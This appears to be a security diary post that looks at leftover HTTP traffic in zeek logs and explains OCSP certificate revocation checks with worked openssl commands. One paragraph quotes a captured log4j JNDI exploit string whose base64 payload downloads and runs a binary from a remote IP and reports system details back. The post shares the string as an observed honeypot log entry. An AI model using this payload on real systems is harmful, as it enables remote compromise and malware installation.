It has been well documented that most "web" traffic these days uses TLS, either as traditional HTTPS or the more modern QUIC protocol. So it is always interesting to see what traffic remains as HTTP.

Looking at the top TCP ports in my network:

 325900 443
  38191 22
  31006 23
  25884 80
  22025 53

HTTPS is by far the top port (and most of the 22/23 connections are likely for my honeypot, and so are many of the port 80 connections.)

So let's dive into a bit more detail on my zeek HTTP logs. I use the JSON format for zeek logs and will use the "jq" tool to parse them instead of the usual "zeek-cut" tool.

Mime Types

# zcat http.* | jq -c .resp_mime_types | sort | uniq -c | sort -nr | head -10
   8138 null
   6557 ["text/html"]
   2200 ["application/ocsp-response"]
    910 ["text/plain"]
    638 ["text/json"]
    586 ["application/vnd.ms-cab-compressed"]
    302 ["application/xml"]
    222 ["application/x-xz"]
    199 ["image/gif"]
     28 ["image/png"]

Let's go over them and see what they are all about:

null: A lot of HTTP responses do not indicate a Mime-Type. Most of these requests come from Nagios, which I use to monitor my network. Oh, and of course, a stray log4j/Tomcat exploit: 

t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.151.84.124:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTM0LjY1LjYyLjY0Ly5jb25maWcvemxpYjQ1IDsgY3VybCAtTyBodHRwOi8vMTM0LjY1LjYyLjY0Ly5jb25maWcvemxpYjQ1IDsgY2htb2QgK3ggemxpYjQ1IDsgY2htb2QgNzc3IHpsaWI0NSA7IC4vemxpYjQ1IDIgOyBzdWRvIC4vemxpYjQ1IDIgOyBybSAtcmYgemxpYjQ1OyBjdXJsIGh0dHA6Ly8xMjkuMTUxLjY0LjU1L2FyY2gvJCh1bmFtZSAtbSkvdXNlci8kKHdob2FtaSk7IHN1ZG8gY3VybCBodHRwOi8vMTI5LjE1MS42NC41NS9hcmNoLyQodW5hbWUgLW0pL3VzZXIvJCh3aG9hbWkp}

There always has to be one of those, but I get distracted... let's move on.

text/html: most of these are also triggered by Nagios

application/ocsp-response: now it gets a bit more interesting. Let's dive into this a bit more!

What is OCSP?

OCSP is the "Online Certificate Status Protocol." It is supposed to solve the problems around revoked certificates. Traditionally, we had "Certificate Revocation Lists" (CRLs). Each certificate may have URLs for either a CRL or an OCSP endpoint (or both). CRLs are pretty much what it sounds like: Certificate authorities publish lists of revoked certificates, and browsers should periodically download them. Any certificate listed will no longer be trusted. Sounds simple, but it doesn't scale well, and browsers have a spotty record in using CRLs. Google Chrome, for example, uses a mechanism called "CRLsets," where it downloads a curated list of CRLs (https://www.chromium.org/Home/chromium-security/crlsets/). 

OCSP is supposed to fix some of the issues with CRLs. OCSP is a simple web service. The browser may connect to it and check if a specific certificate is valid. There are three different possible responses:

1. The certificate is good.
2. The certificate is expired.
3. I did not issue this certificate (which is an option you do not get with CRLs)

These responses are digitally signed and are valid for a few hours or several days (Windows defaults to 2 weeks). 

Let's look at an example. First, we will get the OCSP endpoint URL from the DShield.org certificate:

% openssl s_client -connect dshield.org:443 -showcerts </dev/null > dshield.pem
% openssl x509 -in dshield.pem -text | grep OCSP
                OCSP - URI:http://r3.o.lencr.org

Or, if you want to be cool and not use the lazy grep trick above:

% openssl x509 -in dshield.pem -noout -ocsp_uri
http://r3.o.lencr.org

DShield.org uses Let's Encrypt, and you see the Let's Encrypt OCSP endpoint.

Next, we will use openssl to retrieve the OCSP response:

For this, we will need the issuer certificate, it is included in the certificate below the OCSP URL (ok. back to stupid grep tricks)

% openssl x509 -in dshield.pem -noout -text | grep -A1 OCSP
                OCSP - URI:http://r3.o.lencr.org
                CA Issuers - URI:http://r3.i.lencr.org/

Let's now get the "issue certificate" (it is returned in a binary format, not the "neater" base64 encoded format)

% curl http://r3.i.lencr.org --output issuer.der

And we will convert it to the "PEM" base64 format as I am too lazy right now to look up the option for the later command to use the "DER" format:

% openssl x509 -in issuer.der -inform der > issuer.pem

Finally, hope you didn't hold your breath (if you did: Stop that! I have been told most organic life forms like you need to breathe regularly to sustain the citric acid cycle!):

% openssl ocsp -issuer issuer.pem -cert dshield.pem -text -url http://r3.o.lencr.org

OCSP Request Data:
    Version: 1 (0x0)
    Requestor List:
        Certificate ID:
          Hash Algorithm: sha1
          Issuer Name Hash: 48DAC9A0FB2BD32D4FF0DE68D2F567B735F9B3C4
          Issuer Key Hash: 142EB317B75856CBAE500940E61FAF9D8B14C2C6
          Serial Number: 04EFBAC2A12A30D9CDB4F6BC683DDFFC693A
    Request Extensions:
        OCSP Nonce:
            04104AA9BDEA19E6A10FA530241483CDC21A

 

OCSP Response Data:
    OCSP Response Status: successful (0x0)
    Response Type: Basic OCSP Response
    Version: 1 (0x0)
    Responder Id: C = US, O = Let's Encrypt, CN = R3
    Produced At: Apr 12 01:21:00 2023 GMT
    Responses:
    Certificate ID:
      Hash Algorithm: sha1
      Issuer Name Hash: 48DAC9A0FB2BD32D4FF0DE68D2F567B735F9B3C4
      Issuer Key Hash: 142EB317B75856CBAE500940E61FAF9D8B14C2C6
      Serial Number: 04EFBAC2A12A30D9CDB4F6BC683DDFFC693A
    Cert Status: good
    This Update: Apr 12 01:00:00 2023 GMT
    Next Update: Apr 19 00:59:58 2023 GMT

Great! My certificate is still good, and it looks like Let's Encrypt will update these responses once a week. So I will cache this response for a week without asking again.

But for the privacy extremists who still believe they can avoid being tracked: You just leaked the site you plan to connect to. The serial number maps to a unique certificate, which can be retrieved from certificate transparency logs. So what's the answer?

Enter "OCSP Stapling." The OCSP response is digitally signed. So instead of the client retrieving it, the server may just append it to its response. This not only saves a roundtrip (who has an extra 200 ms to waste for that?), but it also preserves the privacy you may have gotten if you managed to get encrypted client hellos to work.

But... How does your browser feel about this?

SSL.com has a great summary (see URL below). Things are a bit more complex by some checks being done by the respective TLS library, which depends on the OS. Chrome on Windows does not use OCSP, while it does for MacOS (if I read the table right). 

And what happens if the OCSP service is down: Nothing. OCSP "soft fails" in assuming that the certificate is ok if there is no response.

So what should you take away from it: Certificate revocation is still a bit of a hit or miss, maybe a bit more miss in particular if you want to revoke a certificate fast. But on the other hand: The openssl commands above make for a great bar/party trick, so I hope you learned something a bit useful.

References:

https://www.rfc-editor.org/rfc/rfc6960
https://www.rfc-editor.org/rfc/rfc8954
https://blog.cloudflare.com/high-reliability-ocsp-stapling/
https://akshayranganath.github.io/OCSP-Validation-With-Openssl/
https://www.ssl.com/blogs/how-do-browsers-handle-revoked-ssl-tls-certificates/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu